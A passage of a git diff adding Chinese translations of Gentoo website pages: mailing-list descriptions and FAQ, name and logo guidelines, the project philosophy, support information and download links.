+  <ti><c>gentoo-qa</c></ti>
+  <ti>讨论关于QA以及在它对Gentoo的改进</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Gentoo开发者相关邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Gentoo用户相关邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Gentoo议会邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>公告和讨论Gentoo镜像管理员和开发者有关的发布以及其他问题</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>讨论Gentoo中的程序设计语言支持和相关问题</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>讨论Gentoo上的perl</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>讨论关于Gentoo上的Java</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>讨论Gentoo中科学有关的应用程序和整合工具</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>讨论关于Gentoo媒体软件包</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>讨论关于Gentoo上的GNUstep</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>讨论关于<uri link="/proj/en/releng/installer/">Gentoo Linux Installer项目</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>讨论关于<uri link="/proj/en/desktop/accessibility/">Gentoo易用性项目</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>讨论关于<uri link="/proj/en/scire/">系统配置、安装和复制环境项目</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>英国的开发者以及基于英国的活动组织间的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>澳大利亚开发者及本地活动组织间的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Gentoo论坛翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>讨论与Google Summer of Code有关的Gentoo活动项目</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devconference</c></ti>
+  <ti>讨论Gentoo开发者会议</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nx</c></ti>
+  <ti>Discussion关于Gentoo上的NX</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Discussion关于Gentoo上的Lisp</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Discussion关于Gentoo上的VDR</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>Gentoo NFP/董事会的邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>关于从主要的Gentoo仓库向备选SCM迁移的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pms</c></ti>
+  <ti>讨论关于Gentoo的软件包管理器规范。</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>非英语邮件列表</title>
+<body>
+
+<table>
+<tr>
+  <th>列表名称</th>
+  <th>说明</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>deutschsprachige Gentoo User Diskussionsliste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>巴西Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-el</c></ti>
+  <ti>希腊Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Lista para la ayuda y discusion de usuarios hispano-hablantes de Gentoo</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>法国Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>匈牙利Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>印度尼西亚Gentoo用户邮件列表</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>韩国Gentoo用户邮件列表</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>荷兰Gentoo用户邮件列表</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>波兰Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>捷克斯洛伐克Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>俄罗斯Gentoo用户邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>德语Gentoo每周资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>西班牙语Gentoo每周资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>法语Gentoo每周资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>荷兰语Gentoo每周资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>波兰语Gentoo每周资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>德语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>希腊语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista de correo dedicada a la traduccion y creacion de documentacion en Espanol de Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>芬兰语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>法语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>匈牙利语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>印度尼西亚语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>意大利语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>立陶宛语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>荷兰语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>波兰语Gentoo文档翻译列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>俄语Gentoo文档翻译列表</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>其他邮件列表</title>
+<body>
+
+<table>
+<tr>
+  <th>列表名称</th>
+  <th>说明</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>讨论libconf开发</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+  	Gentoo Bug辩士的专用列表。这个邮件列表只有邀请方式。如果你有兴趣加入，很简单，在bugzilla上表现活跃一点，帮助我们现有的成员辩解bug。你就会受到关注并在适当的时候被邀请成为一个bug辩士。
+  </ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>致力于新Gentoo网站的开发</ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+<section>
+<title>归档</title>
+<body>
+
+<p>
+Gentoo邮件列表归档收集于<br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>。
+</p>
+
+<p>
+以下站点也寄存了大部分邮件列表的归档。<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/> 
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>邮件列表迷你FAQ</title>
+<body>
+
+<p>
+<b>我用我在家里用的email地址订阅了一个列表，可是不能在工作的时候向这个列表发邮件。我该怎么解决这个问题？</b>
+</p>
+
+<p>
+为了减少垃圾邮件，我们所有的列表都设置为只允许通过官方订阅的email地址来发邮件。幸好，<c>mlmmj</c>支持“nomail”方式的订阅，允许你注册备选的email地址，只用于向列表发邮件。这里用一个例子来说明这是如何做到的。我们假设你以<c>jim@home.com</c>订阅了<c>gentoo-dev</c>列表，可是你希望也可以用你的<c>james@work.com</c>邮箱向这个列表发邮件。要做到这一点，发一封信（以<c>james@work.com</c>）至<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c>。这样你就能同时使用家里和工作的邮箱向<c>gentoo-dev</c>发邮件了。
+</p>
+
+<p>
+<b>我想从正常邮订方式切换为摘要邮订方式。我该怎么做？</b>
+</p>
+
+<p>
+从正常列表退订然后订阅摘要列表。比如列表<c>listname</c>，这可以通过发送空邮件到下面两个地址做到：
+</p>
+
+<p><c>listname+unsubscribe@lists.gentoo.org</c><br/>
+<c>listname+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>如何使用procmail来筛选Gentoo邮件列表的信件？</b>
+</p>
+
+<p>
+要筛选来自<c>listname</c>列表的来信，请使用下面的<c>procmail</c>菜谱（recipe）：
+</p>
+
+<pre caption="procmail菜谱示例">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+这与如何筛选<e>Mailman</e>邮件列表管理器的来信是一样的。
+</p>
+
+<p>
+<b>杂项政策</b>
+</p>
+<p>
+HTML格式的email不鼓励使用，但不禁止（有些特定基于网络的MUA使得很难完全禁用HTML）。请注意，有些用户可能有其接收端的配置完全隐藏HTML，因此你可能看起来被忽略了，特别是如果你发送的是仅支持HTML的email。按优先顺序排列，你应该尽量发送：text/plain、text/html前面有带multipart的text/plain、text/html。MIME可以接受且被广泛使用。
+</p>
+
+<p>
+请不要发送任何空洞内容或职责以外的信件到列表上。考虑到减少垃圾邮件的重要性，如果你设置了任何自动回复的信件流传到列表上，我们将会把你的账号从所有列表退订。任何发送邮件服务器消息到列表的已订阅地址也将被移除。
+</p>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/name-logo.xml b/xml/htdocs/main/zh_cn/name-logo.xml
new file mode 100644
index 00000000..8e442910
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/name-logo.xml
@@ -0,0 +1,232 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/name-logo.xml,v 1.2 2009/12/10 16:58:30 r0bertz Exp $ -->
+<!-- English CVS version: 1.9 -->
+
+<guide link="/main/zh_cn/name-logo.xml" lang="zh_cn">
+<title>Gentoo名称和徽标使用准则</title>
+
+<author>
+  Gentoo基金会
+</author>
+
+<abstract>
+本文涵盖Gentoo名称和徽标的使用准则。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2009-12-11</date>
+
+<chapter>
+<title>序言</title>
+<section>
+<body>
+
+<p>
+这篇文档描述了如何在非Gentoo基金会领导下的软件和与计算机有关的工作中正确地使用Gentoo名称、“g”徽标以及任何其它的相关标志。如果您有关于这些准则的任何疑问，请联系<mail link="trustees@gentoo.org">Gentoo基金会</mail>
+</p>
+
+<p>
+Gentoo基金会保留自行决定不时更改这些条款的权利。出于这个原因，我们鼓励您定期检阅本声明。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>定义</title>
+<section>
+<title>Gentoo项目</title>
+<body>
+
+<p>
+当前的志愿开发工作在非营利性组织Gentoo基金会领导下进行。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo项目制造的内容</title>
+<body>
+
+<p>
+版权归Gentoo基金会的任何内容。
+</p>
+
+</body>
+</section>
+<section>
+<title>"g"徽标</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo艺术作品</title>
+<body>
+
+<p>
+由<e>Gentoo项目</e>（见上面的定义）制造的所有艺术作品。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo社区站点</title>
+<body>
+
+<p>
+一个非营利网站，其主要目的是给所有Gentoo用户提供更多的Gentoo及Gentoo相关信息。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>这些标志的所有权</title>
+<section>
+<body>
+
+<p>
+当前“Gentoo”名称和“g”徽标是属于Gentoo基金会的商标。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo名称的使用</title>
+<section>
+<body>
+
+<p>
+您可以在计算机相关的内容中使用Gentoo名称，倘若：
+</p>
+
+<ol>
+  <li>
+    您承认“Gentoo”名称是Gentoo基金会的一个商标，并且
+  </li>
+  <li>
+    不将任何软件项目或计算机相关作品命名为“Gentoo”或者命名中出现“Gentoo”，并且
+  </li>
+  <li>
+    用于您的软件项目或计算机相关作品的完全合法域名不得包含“Gentoo”， 并且
+  </li>
+  <li>
+    <e>
+      明确声明与“Gentoo”名称相关联的内容、工程、站点、作品或任何其它形式的项目不是Gentoo项目的一部分并且不是由Gentoo基金会领导或管理。
+    </e>
+  </li>
+</ol>
+
+<p>
+这些限制不适用于Emil Bink开发的<uri link="http://www.obsession.se/gentoo/">Gentoo文件管理器</uri>项目，因为它不是一个操作系统项目。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo徽标和艺术作品的使用</title>
+<section>
+<body>
+
+<p>
+您可以在下列条件下使用版权归Gentoo基金会的Gentoo “g”徽标和艺术作品（以下简称“Gentoo作品”）：
+</p>
+
+</body>
+</section>
+<section>
+<title>商业用途</title>
+<body>
+
+<p>
+Gentoo “g”徽标和Gentoo艺术作品的商业用途适用于<e>任何</e><e>包含</e>Gentoo项目制造的内容或<e>以之为基础</e>而创作的软件或计算机硬件产品，或者任何涉及Gentoo或Gentoo项目的项目或服务，倘若满足下列条件：
+</p>
+
+<ol>
+  <li>
+    您承认“Gentoo”名称是Gentoo基金会的一个商标，以及任何Gentoo艺术作品的版权都属于Gentoo基金会，并且
+  </li>
+  <li>
+    所使用的艺术作品<e>不是</e>产品上主要的（最大的）的标志，从而传达此产品包含“Gentoo项目制作的内容”，而<e>它本身并不是一个由Gentoo基金会出售或支持的产品</e>。
+  </li>
+</ol>
+
+<p>
+<e>
+Gentoo “g”徽标和Gentoo艺术作品任何其它目的的商业用途恕不接受。
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>非商业用途</title>
+<body>
+
+<p>
+您可以将“g”徽标和Gentoo艺术作品用于非商业用途，倘若满足下列条件：
+</p>
+
+<ol>
+  <li>
+    您承认“Gentoo”名称是Gentoo基金会的一个商标，以及任何Gentoo艺术作品的版权都属于Gentoo基金会，并且，
+  </li>
+  <li>
+    将“g”徽标和Gentoo艺术作品用在与由Gentoo基金会领导的“Gentoo项目”有关的内容中，而不用于任何超出Gentoo基金会权限的工作中，并且
+  </li>
+  <li>
+    <e>
+      明确声明与“g”徽标或Gentoo艺术作品相关联的内容、工程、站点、作品或任何其它形式的项目不是Gentoo项目的一部分并且不是由Gentoo基金会领导或管理。
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo社区项目</title>
+<section>
+<body>
+
+<p>
+  Gentoo基金会允许Gentoo社区站点——如上述定义的——在他们的项目名称和合法域名中使用Gentoo名称，倘若：
+</p>
+
+<ol>
+  <li>
+    在网站的各个页面上标明为“新闻站点”、“粉丝站点”、“非官方站点”或“社区站点”，明确声明此项目不是官方的Gentoo项目，并且
+  </li>
+  <li>
+    网站不得近似地模仿Gentoo名称或某个官方站点的版面设计，并且
+  </li>
+  <li>
+    您承认“Gentoo”名称是Gentoo基金会的一个商标。
+  </li>
+</ol>
+
+<p>
+Gentoo名称、徽标和艺术作品的任何其他用途仍受到前述准则的限制。
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/zh_cn/philosophy.xml b/xml/htdocs/main/zh_cn/philosophy.xml
new file mode 100644
index 00000000..e462f93b
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/philosophy.xml
@@ -0,0 +1,51 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/philosophy.xml,v 1.1 2009/04/14 15:11:29 r0bertz Exp $ -->
+<!-- English CVS version: 1.11 -->
+
+<mainpage>
+<title>Gentoo的哲学</title>
+<author title="作者">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="编辑">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="译者">
+ <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+本文阐述了Gentoo背后的哲学。
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Gentoo的哲学</title>
+<section>
+<body>
+
+<p>
+每个用户都有他们需要做的工作。Gentoo的目标是设计出让用户满意的工具和系统，使<e>他们</e>能尽量舒适高效地工作。我们的工具应该被当作一种乐趣来使用，并且应该帮助用户使其对Linux和自由软件社区的丰富多彩，以及自由软件具有的适应性心存感激。这只有当工具被设计为能够反映和传达用户的意愿，并将事物的可能性开放给最终形式的原始材料（源代码）时，才有可能实现。如果工具强制用户以特定的方式去做事情，那么这种工具实为抵制用户，而不是支持用户。我们要吸取所有的经验教训，许多工具常常试图将它们各自的意愿强加在我们身上。这是倒退，并且与Gentoo哲学背道而驰。
+</p>
+
+<p>
+换句话说，Gentoo的哲学就是要制造更好的工具。当一件工具正在完美地执行自己的任务，你可能甚至都感觉不到它的存在，因为它既不会让自己的存在干涉你，也不会强迫你跟它交互。工具为用户服务而不是用户服务于工具。
+</p>
+
+<p>
+Gentoo的目标是努力制造接近理想的工具。制造能调解众口适应不同用户需求的工具。当你找到一件能忠实地按照自己的想法做事的工具时，你会不喜爱它吗？不觉得棒极了么？我们的使命是将那样激动的感觉奉献给尽可能多的人。
+</p>
+
+<p>
+丹尼尔·罗宾斯<br/>前首席架构师
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/support.xml b/xml/htdocs/main/zh_cn/support.xml
new file mode 100644
index 00000000..4bf57fda
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/support.xml
@@ -0,0 +1,87 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/support.xml,v 1.1 2009/04/19 17:48:26 r0bertz Exp $ -->
+<!-- English CVS version: 1.9 -->
+<mainpage>
+<title>Gentoo Linux Support</title>
+
+<author title="作者">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="编辑">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="译者">
+ <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+如何获取Gentoo Linux的支持
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>支持</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo是一个由志愿者驱动的发行版，我们的支持选项也是如此。对于我们的开发人员来说他们不可能提供支持（不管是否付钱给他们），因为我们只是没有时间或精力去做这些事。
+</p>
+
+<p>
+不过我们有一个卓越的Gentoo社区对Gentoo各方面进行测试并帮助提供文档资料。我们建议您将支持问题直接向<uri link="http://forums.gentoo.org">Gentoo论坛</uri>、<uri link="/main/zh_cn/lists.xml">Gentoo邮件列表</uri>或<uri link="/main/zh_cn/irc.xml">Gentoo聊天频道</uri>提出。这些才是更适合提出支持问题的地方，他们代表了Gentoo“常用”知识的一个重要组成部分。
+</p>
+
+<p>
+大多数Gentoo开发者都经常访问这些社区频道，尽力帮助解决正在进行的讨论和问题。
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>硬件要求</title>
+<body>
+
+<p>
+各个架构下的硬件要求放在我们的<uri link="/doc/zh_cn/handbook/index.xml">Gentoo手册</uri>中。
+</p>
+
+<p>
+硬件要求直接链接：<uri link="/doc/zh_cn/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>，<uri link="/doc/zh_cn/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>，<uri link="/doc/zh_cn/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>，<uri link="/doc/zh_cn/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>，<uri link="/doc/zh_cn/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>，<uri link="/doc/zh_cn/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>，<uri link="/doc/zh_cn/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>，<uri link="/doc/zh_cn/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>下载Gentoo</title>
+<body>
+
+<p>
+您可以从我们的任何一个<uri link="/main/en/mirrors.xml">镜像</uri>下载Gentoo。可供下载的ISO文件位于<path>releases/</path>目录里面。
+</p>
+
+<p>
+关于可用的ISO和文件的更多信息可以从<uri link="/doc/zh_cn/handbook/index.xml">Gentoo手册</uri>中找到。
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>报告Bug</title>
+<body>
+
+<p>
+发现一个bug？请<uri link="http://bugs.gentoo.org">报告</uri>。
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/where.xml b/xml/htdocs/main/zh_cn/where.xml
new file mode 100644
index 00000000..0dc8e3a3
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/where.xml
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/where.xml,v 1.1 2010/06/05 11:50:54 r0bertz Exp $ -->
+<!-- English CVS version: 1.143 -->
+
+<mainpage>
+<title>从哪儿获取Gentoo Linux</title>
+
+<author title="作者">
+  <mail link="www@gentoo.org">Gentoo万维网团队</mail>
+</author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+如何从互联网获得Gentoo Linux
+</abstract>
+
+<license/>
+
+<version>1.72</version>
+<date>2009-11-15</date>
+
+<chapter>
+<title>版本发布信息</title>
+<section>
+<body>
+
+<p>
+您可以在<uri link="/proj/en/releng/">版本发布工程项目页面</uri>上查到我们项目的描述、版本发布记录、路线图、子项目，以及一张为Gentoo版本发布媒介而工作的Gentoo开发者列表。
+</p>
+
+<p>
+请参考我们的<uri link="/doc/zh_cn/handbook/">Gentoo手册</uri>，了解该下载什么以及如何安装Gentoo等信息。
+</p>
+
+</body>
+</section>
+<section>
+<title>下载Gentoo Linux</title>
+<body>
+
+<p>
+Gentoo Linux可以在互联网上自由下载。您可以从以下链接中选择适当的iso和架构下载Gentoo Linux。
+</p>
+
+<!-- No torrents for the autobuilds for the forseeable future
+or, if you prefer BitTorrent, you may see a list of available torrents at <uri
+link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.
+-->
+</body>
+</section>
+
+<!-- Autobuild start -->
+
+<section>
+<title>每周发布的Gentoo最小安装光盘和Stage</title>
+<body>
+
+<p>
+我们的版本发布工程团队<e>每周</e>提供新的最小安装光盘和stage。您可以从<path>/releases/&lt;arch&gt;/current-iso/</path>或<path>/releases/&lt;arch&gt;/current-stage3/</path>中找到这些发布版本。并不是所有架构都在同一天更新。并不是所有的架构都发布光盘镜像。
+</p>
+
+<p>
+由于这些发布版本是通过版本发布工程服务器自动构建，可能导致某个stage或光盘在特定一周内没有制作出来。遇到这种情况时，只要使用最新的可用光盘和stage。我们镜像上的更多发布版本位于<path>/releases/&lt;arch&gt;/autobuilds/</path>。当<path>current-iso/</path>或<path>current-stage3/</path>中没有足够的新东西时使用此目录。
+</p>
+
+<ul>
+	<li>
+		alpha:
+		<uri link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		amd64:
+		<uri link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		arm:	
+		<uri link="http://distfiles.gentoo.org/releases/arm/autobuilds/current-stage3/">stages</uri>
+	</li>
+	<li>
+		hppa:
+		<uri link="http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		ia64:
+		<uri link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		ppc:
+		<uri link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		s390:
+		<uri link="http://distfiles.gentoo.org/releases/s390/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		sh:
+		<uri link="http://distfiles.gentoo.org/releases/sh/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		sparc:
+		<uri link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-stage3/">stages</uri> 
+	</li>
+	<li>
+		x86:
+		<uri link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-iso/">iso</uri> 
+		<uri link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-stage3/">stages</uri> 
+	</li>
+</ul>
+
+<!-- Autobuild end -->
+
+<p>
+如果您更喜欢自己选择一个本地镜像，那么，它们列于<uri link="mirrors.xml">www.gentoo.org/main/en/mirrors.xml</uri>.
+</p>
+
+<p>
+请参考我们的<uri link="/doc/zh_cn/handbook/">Gentoo手册</uri>，了解该下载什么以及如何安装Gentoo等信息。
+</p>
+
+</body>
+</section>
+
+<!-- 10.1 START -->
+
+<section>
+<title>Gentoo 10.1</title>
+<body>
+<p>
+<b>LiveDVD（发布于2009年10月10日）</b>
+<br/>（达2.6千兆字节，取决于不同架构）
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/amd64/">amd64</uri>
+    <uri link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/x86/">x86</uri>
+</p>
+
+</body>
+</section>
+
+<!-- 10.1 END -->
+
+<!-- 2008.0 START -->
+
+<section>
+<title>Gentoo 2008.0</title>
+<body>
+<warn>
+	2008.0版本已经过时了！<br />
+	我们在下面包含了10.x或每周发布版本中没有提到媒介的架构的链接，以简化安装。<br />
+	这些媒介僅用于引导系统。之后使用一个当前的每周stage进行安装。<br />
+</warn>
+<p>
+<b>通用安装光盘</b>
+<br/>（达600兆字节，取决于不同架构）
+<br/>
+<uri link="http://bouncer.gentoo.org/fetch/gentoo-2008.0-universal/hppa/">hppa</uri>
+</p>
+
+</body>
+</section>
+
+<!-- 2008.0 END -->
+
+<!-- Vendors Link -->
+<section>
+<title>Gentoo之DVD和CD</title>
+<body>
+<p>
+如果您实在没办法下载巨大的DVD或CD映像文件，那么您可能希望购买一张<uri link="/main/en/stores.xml">Gentoo DVD或CD。</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/zh_tw/about.xml b/xml/htdocs/main/zh_tw/about.xml
new file mode 100644
index 00000000..0f02d454
--- /dev/null
+++ b/xml/htdocs/main/zh_tw/about.xml
@@ -0,0 +1,98 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_tw/about.xml,v 1.2 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="zh_tw">
+<title>關於 Gentoo Linux</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="Editor"><mail link="peesh@gentoo.org">Jorge Paulo</mail></author>
+<author title="Translator"><mail link="bennyc@gentoo.org">Benny Chuang</mail></author>
+<version>1.0.8</version>
+<date>2003-08-06</date>
+
+<chapter>
